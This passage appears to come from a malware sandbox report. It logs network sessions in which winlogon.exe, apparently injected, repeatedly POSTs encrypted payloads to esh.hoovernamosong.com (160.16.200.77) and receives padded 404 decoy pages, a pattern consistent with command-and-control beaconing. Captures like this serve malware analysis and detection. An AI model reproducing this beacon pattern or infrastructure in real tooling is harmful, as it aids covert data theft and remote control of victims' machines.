Nov 28, 2024 13:23:24.683636904 CET	419	OUT	POST /00000000007709530000000000770953 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 33 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: b8 0f d8 85 e5 d0 93 f2 78 4d 90 75 0d ef 2d 7d 4d 90 a5 01 08 11 7c 88 b7 09 b9 8d 3d 56 fa dc 1d Data Ascii: xMu-}M\|=V
Nov 28, 2024 13:23:24.983577013 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:24 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49752	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:23:30.496025085 CET	426	OUT	POST /0000000000791B7A0000000000791B7A HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 40 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: c4 18 c0 fa 66 40 0e 66 71 4b 74 b2 cd 92 d0 ab f6 fc 45 2d 52 5c 48 20 73 b3 fc 69 e3 e8 04 c6 0e d8 aa 23 1f 65 40 bc Data Ascii: f@fqKtE-R\H si#e@
Nov 28, 2024 13:23:30.773720980 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:30 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:23:36.072561026 CET	426	OUT	POST /00000000007980100000000000798010 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 40 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 20 96 14 3b 1c ab 17 bb a9 0d f8 4a 24 09 e1 ef 59 e5 80 ae c2 cf 91 0e b3 c3 49 09 1f 05 3a a0 9f 07 b6 06 a8 fa c8 5e Data Ascii: ;J$YI:^
Nov 28, 2024 13:23:36.350378990 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:36 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49757	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:23:42.011075020 CET	496	OUT	POST /00000000007AF52C00000000007AF52C HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 109 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 7d e6 96 a8 4b 06 3f 21 77 9b e4 03 2d 1a f9 5c 12 77 2d 44 7f 2e 14 b4 d6 31 b2 62 5c ec bb fb eb a9 9f 3a 8b d6 c3 0f a1 26 f7 69 25 f5 28 61 b6 db 7b 34 dd c3 5b 17 fc ec 40 9f 9a 75 98 81 dd 97 30 1e 78 d1 1f 6c 6c ea 0f 5a b5 c3 fa ce a1 69 cf ab 81 a6 55 f6 02 3c 20 d6 85 51 26 13 1a 76 65 f3 8b 04 92 1f 48 18 98 60 eb Data Ascii: }K?!w-\w-D.1b\:&i%(a{4[@u0xllZiU< Q&veH`
Nov 28, 2024 13:23:42.324445009 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:42 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49760	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:23:48.287476063 CET	424	OUT	POST /00000000007BF79800000000007BF798 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 38 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 4c 95 70 b4 3f 3b 92 e3 3e 55 7f 49 18 99 b9 74 a0 ba 9f a3 58 10 06 be cd 90 06 63 45 32 9b b0 3f c7 ff 8d e8 9a Data Ascii: Lp?;>UItXcE2?
Nov 28, 2024 13:23:48.592458963 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:48 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49763	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:23:54.202133894 CET	418	OUT	POST /00000000007E312D00000000007E312D HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 32 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: e5 0e 11 5b 32 53 77 d5 8f d6 c1 f9 67 c4 d3 d2 73 c8 61 15 9d cd 72 80 ff a8 37 e2 f6 36 fd d7 Data Ascii: [2Swgsar76
Nov 28, 2024 13:23:54.507769108 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:54 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:23:59.949929953 CET	430	OUT	POST /00000000007F0BAE00000000007F0BAE HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 44 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 80 9c a0 09 1c 96 4d 8c da 1a ba 75 9b 09 d9 bf 59 b4 ee 58 3b 21 10 2c d0 a2 14 fc 57 9c 56 27 7c 4d 15 11 7f 39 76 19 f4 c2 7d 70 Data Ascii: MuYX;!,WV'\|M9v}p
Nov 28, 2024 13:24:00.255489111 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:24:00 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:24:05.366281033 CET	448	OUT	POST /00000000007F959F00000000007F959F HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 62 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: f1 b0 a2 09 51 7c b5 61 a7 8b ce 70 81 fd 22 cf 85 20 ed a6 50 3a 15 6e 37 8a f0 8d d8 65 b4 3e a1 58 57 2d 0b ac b5 87 51 60 23 e7 d1 1c 06 2d ab 47 7d d4 e7 cb ac c6 ee af 86 69 c4 3d Data Ascii: Q\|ap" P:n7e>XW-Q`#-G}i=
Nov 28, 2024 13:24:05.671704054 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:24:05 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49715	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:10 UTC	386	OUT	POST /00000000006A9DE200000000006A9DE2 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 64 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:10 UTC	64	OUT	Data Raw: 4a b3 e3 13 87 aa 19 35 b3 2c 87 51 54 8a 06 ca 8d d7 75 50 55 f5 69 74 f7 fe 9e 26 56 e8 fb 3f 50 88 5d cd 88 12 2d ef 69 86 52 04 22 8b a7 d2 f9 fb 5a 04 e0 d5 b5 e9 92 e4 2d 54 cf 52 50 8e Data Ascii: J5,QTuPUit&V?P]-iR"Z-TRP
2024-11-28 12:22:10 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:10 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:22:10 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49718	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:22:16 UTC	386	OUT	POST /00000000006BEECC00000000006BEECC HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 46 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:22:16 UTC	46	OUT	Data Raw: d9 9e 79 00 d6 31 97 8a e5 8a 12 ea 7b 01 ec ee 67 7f 44 af 8f 16 38 46 b4 3e a3 cd 54 0d 9c 74 8f 4b a5 a9 bf ee 9c 70 7f b4 4d 6d 17 5f Data Ascii: y1{gD8F>TtKpMm_
2024-11-28 12:22:16 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:16 GMT Content-Type: text/html Content-Length: 564 Connection: close
